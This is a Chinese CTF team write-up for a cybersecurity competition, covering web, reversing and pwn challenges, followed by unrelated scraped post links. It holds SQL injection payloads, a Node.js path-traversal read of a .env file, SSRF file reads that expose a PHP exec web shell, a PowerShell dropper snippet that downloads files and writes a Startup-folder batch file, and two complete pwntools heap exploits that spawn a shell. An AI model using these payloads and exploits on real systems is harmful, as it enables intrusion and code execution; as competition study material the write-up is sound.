第九届网安竞赛writeup
web

easysql【已解决】

uname=a') union select 1,extractvalue(1, concat(0x7e, (select database()),0x7e))#&passwd=a
datavase
[*] security
Database: security
[5 tables]
+----------+
| emails |
| flag |
| referers |
| uagents |
| users |
+----------+

查列:
uname=a') union select 1,extractvalue(1, concat(0x7e, (select * from (select * from flag as a join flag b)c),0x7e))#&passwd=a


flag{c7651cb673c911ee8f9977094a220f17}
ezsqli【已解决】
flag{de3110dce011088cd4add1950a49182f}

Secret Guess
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => {
res.render("index")
})
app.post('/', (req, res) => {
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
res.render("index", {result: process.execSync("echo $FLAG")})
} else {
res.render("index", {result: "wrong secret"})
}
})
app.get('/source', (req, res) => {
res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");

呜呜呜 我没手
CVE-2017-14849漏洞
flag在 static/../../foo/../../../usr/local/app/.env
buuoj上有环境 直接复现一下
https://paper.seebug.org/439/
人傻了 在firefox地址栏输../会被吞掉,当时做题没注意以为没有

SSRF ME
一个简单的SSRF???
读文件,读到index:
<!--?php
error_reporting(0);
session_start();
require_once "lib.php";
init();
$is_die = 0;
$is_post = 0;
$die_mess = '';
$url = '';
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
?-->
lib.php
<!--?php
session_start();
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function set_session()
{
$answer = rand(1,100000);
$_SESSION['captcha'] = substr(md5($answer),-6,6);
$_SESSION['answer'] = strval($answer);
}
function destroy_session()
{
$_SESSION = [];
}
function init()
{
if (!isset($_SESSION['captcha']) || !isset($_SESSION['answer']) || isset($_GET['reset']))
{
destroy_session();
set_session();
isset($_GET['reset']) ? die("<script-->

/etc/apache2/apache2.conf
file:///etc/apache2/sites-enabled/000-default.conf
ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
ServerAdmin secret@localhost DocumentRoot /var/www/htmlssrf123123 ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
file:///etc/apache2/ports.conf
Listen 80 Listen 47852 Listen 443 Listen 443
读第二个web目录读文件:
file:///var/www/htmlssrf123123/index.php
<!--?php
if(isset($_POST['cmd'])){
exec($_POST['cmd']);
}
?-->
warmup【已解决】
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
YToxOntzOjI6ImlwIjtzOjEyOiIxODMuMjM2LjAuOTEiO30=
a:1:{s:2:"ip";s:12:"183.236.0.91";}
<?php
class SQL {
public $table="users";
public $username="admin";
public $password="admin' or '1'='1";
}
$SQL = new SQL();
echo serialize($SQL);
再base64编码就行了

flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}
misc
emisc
elf可执行文件

你觉得这个是什么文件

re
html
# $client = new-object System.Net.WebClient;
# $client.DownloadFile("http://192.168.69.129:8000/ielogo.png", "$env:temp/20203917.tmp")
# $client.DownloadFile("http://192.168.69.129:8000/_TMP12", "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helper.bat")
# read file
$content = [IO.File]::ReadAllText("$pwd\doc.chm")
$idx1 = $content.IndexOf("xxxxxxxx")
$helper = $content.Substring($idx1 + 8)
$cont = [System.Convert]::FromBase64String($helper)
Set-Content "$env:temp\20201122.tmp" $cont -Encoding byte
pwn
noteplus【已解决】
#!/usr/bin/python2
from pwn import *
LOCAL = False
binfile='./noteplus'
libcfile='./libc-2.27.so'
offset=0
e=ELF(binfile)
context.log_level='debug'
context.arch=e.arch
if context.arch=='i386':
x86=True
else:
x86=False
if LOCAL:
c = process(binfile)
if libcfile:
libc=ELF(libcfile)
else:
if x86:
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
c = remote('121.36.245.213',23333)
if libcfile:
libc=ELF(libcfile)
def add(idx,size):
c.sendlineafter('ce: ','1')
c.sendlineafter('Index: ',str(idx))
c.sendlineafter('Size: ',str(size))
def rm(idx):
c.sendlineafter('ce: ','2')
c.sendlineafter('Index: ',str(idx))
def edit(idx,content):
c.sendlineafter('ce: ','3')
c.sendlineafter('Index: ',str(idx))
c.sendafter('Content: ',content)
def view(idx):
c.sendlineafter('ce: ','4')
c.sendlineafter('Index: ',str(idx))
c.recvuntil('Content: ')
for i in range(8):
add(i,0x88)
add(8,0x4)
add(9,0x88)
add(10,0x88)
for i in range(7):
rm(6-i)
rm(7)
for i in range(8):
add(i,0x88)
view(7)
ma_a=int(u64(c.recv(6).ljust(8,'\x00')))-96
log.success(hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols['__free_hook']
log.success(hex(fh_a))
sys_a=lib_b+libc.symbols['system']
rm(9)
edit(8,cyclic(0x8)+p64(0x20+0x90)+p64(0x90)+p64(fh_a-8)+cyclic(0x88)+'/bin/sh\x00'+'\n')
add(11,0x88)
add(12,0x88)
edit(12,p64(sys_a)+'\n')
rm(10)
c.interactive()

youchat【已解决】
#!/usr/bin/python2
from pwn import *
LOCAL = False
binfile='./youchat'
libcfile='./libc-2.27.so'
offset=0
e=ELF(binfile)
context.log_level='info'
context.arch=e.arch
if context.arch=='i386':
x86=True
else:
x86=False
if LOCAL:
c = process(binfile)
if libcfile:
libc=ELF(libcfile)
else:
if x86:
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
c = remote('124.70.158.59',30023)
if libcfile:
libc=ELF(libcfile)
def add(idx,size,name,pword):
c.sendlineafter('ce: ','1')
c.sendlineafter('Index: ',str(idx))
c.sendlineafter('How long is your user id: ',str(size))
c.sendafter('User name: ',name)
c.sendafter('Password: ',pword)
def rm(idx):
c.sendlineafter('ce: ','2')
c.sendlineafter('Index: ',str(idx))
def edit(idx,content):
c.sendlineafter('ce: ','3')
c.sendlineafter('Index: ',str(idx))
c.sendafter('New username: ',content)
def view(idx):
c.sendlineafter('ce: ','4')
c.sendlineafter('Index: ',str(idx))
c.recvuntil('Username: ')
s='/bin/sh;'
size=0x88
for i in range(8):
add(i,size,s,s)
add(8,size,s,s)
for i in range(7):
rm(6-i)
rm(7)
for i in range(7):
add(i,size,s,s)
add(7,size,s,s)
view(7)
c.recv(8)
ma_a=int(u64(c.recv(6).ljust(8,'\x00')))-96
log.success('ma_a: '+hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols['__free_hook']
log.success('fh_a: '+hex(fh_a))
sys_a=lib_b+libc.symbols['system']
offset=0x20
rm(7)
add(7,size,s,cyclic(16))
rm(6)
edit(7,cyclic(0x20)+p64(fh_a))
add(9,size,s,s)
add(10,size,s,s)
edit(10,p64(sys_a))
rm(9)
c.interactive()
第九届网安竞赛writeup的更多相关文章
- 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]-最小内积(第八届北京师范大学程序设计竞赛决赛)
H. 最小内积 Time Limit: 1000ms Memory ...
- 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]- Nearly Lucky Number(Codeforces Beta Round #84 (Div. 2 Only)A. Nearly)
A. Nearly Lucky Number time limit per test 2 seconds memory limit per test 256 megabytes input stand ...
- 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]--Codeforces -35D. Animals
D. Animals time limit per test 2 seconds memory limit per test 64 megabytes input input.txt output o ...
- 谈一谈第九届移动互联网开发者大会( MDCon 2016 )
4G时代的开启以及移动终端设备的凸显必将为移动互联网的发展注入巨大的能量,2016年移动互联网产业必将带来前所未有的飞跃.第九届移动互联网开发者大会以"DT时代的移动开发技术创新" ...
- 想学渗透测试,应该考CISP-PTE还是NISP-PT?|网安伴nisp和cisp
其实两者都可,但要看考生的实际需求! 为什么说两者都可以? 两个证书都由中国信息安全测评中心颁发,CISP-PTE全称国家注册渗透测试工程师,NISP-PT全称国家信息安全水平考试-渗透测试工程师专项 ...
- 2014嘉杰信息杯ACM/ICPC湖南程序设计邀请赛暨第六届湘潭市程序设计竞赛
比赛链接: http://202.197.224.59/OnlineJudge2/index.php/Contest/problems/contest_id/36 题目来源: 2014嘉杰信息杯ACM ...
- 2018年第九届蓝桥杯B组题C++汇总解析-fishers
2018年第九届蓝桥杯B组题C++解析-fishers 题型 第一题:第几天 第二题:明码 第三题:乘积尾零 第四题:测试次数 第五题:快速排序 第六题:递增三元组 第七题:螺旋折线 第八题:日志统计 ...
- nyoj1273 河南省第九届省赛_"宣传墙"、状压DP+矩阵幂加速
宣传墙 时间限制:1000 ms | 内存限制:65535 KB 难度:4 描述 ALPHA 小镇风景美丽,道路整齐,干净,到此旅游的游客特别多.CBA 镇长准备在一条道路南 面 4*N 的墙上做 ...
- NYOJ 1272 表达式求值 第九届省赛 (字符串处理)
title: 表达式求值 第九届省赛 nyoj 1272 tags: [栈,数据结构] 题目链接 描述 假设表达式定义为: 1. 一个十进制的正整数 X 是一个表达式. 2. 如果 X 和 Y 是 表 ...
随机推荐
- 【vue】生成接口模拟数据
目录 方案一:自定义模拟数据 Step1 创建json文件 Step2 在 vue.config.js 中配置 Step3 在组件中使用 (方式一) Step3 封装api (方式二) Step4 在 ...
- 获取HTML网页中option标签元素的值
在进行表单元素的操作时,难免会遇到对option元素的挑选,下面的示例代码能够很好的获取到你option元素选择的值,如果要传递给后端,可通过ajax或者其他方式传递即可. 示例代码 <!doc ...
- 微信小程序Canvas添加水印字体,通过setGlobalAlpha设置字体透明度。
微信小程序自带的设置透明度只有setGlobalAlpha,但是CanvasContext.setGlobalAlpha设置透明度,是全局透明,整张图片都透明了.所以直接使用是不行的. 换种思路实现: ...
- 基于Hexo+Github Pages搭建的博客
概念 Github Pages可以被认为是用户编写的.托管在github上的静态网页.使用Github Pages可以为你提供一个免费的服务器,免去了自己搭建服务器和写数据库的麻烦.此外还可以绑定自己 ...
- xLua中Lua调用C#
xLua中Lua调用C# 1.前提 这里使用的是XLua框架,需要提前配置xlua,设置加载器路径: 可以参考之前的Blog:<xlua入门基础>: //调用段,所有的lua代码都写在Lu ...
- 详解package-lock.json的作用
目录 详解package-lock.json package-lock.json的作用 版本号的定义规则与前缀对安装的影响 改动package.json后依旧能改变项目依赖的版本 当前项目的真实版本号 ...
- Rigidbody钢体移动时抖动问题
Rigidbody移动时抖动问题 撞墙抖动 Unity中物体移动有非常多的方式: 比如: transform.position += dir*speed*Time.deltaTime; transfo ...
- cf1082D Maximum Diameter Graph(构造+模拟+细节)
QWQ不得不说 \(cf\)的\(edu\ round\)出这种东西 有点太恶心了 题目大意:给你\(n\)个点,告诉你每个点的最大度数值(也就是说你的度数要小于等于这个),让你构造一个无向图,使其满 ...
- 超详细的Ribbon源码解析
Ribbon简介 什么是Ribbon? Ribbon是springcloud下的客户端负载均衡器,消费者在通过服务别名调用服务时,需要通过Ribbon做负载均衡获取实际的服务调用地址,然后通过http ...
- Coursera Deep Learning笔记 序列模型(一)循环序列模型[RNN GRU LSTM]
参考1 参考2 参考3 1. 为什么选择序列模型 序列模型能够应用在许多领域,例如: 语音识别 音乐发生器 情感分类 DNA序列分析 机器翻译 视频动作识别 命名实体识别 这些序列模型都可以称作使用标 ...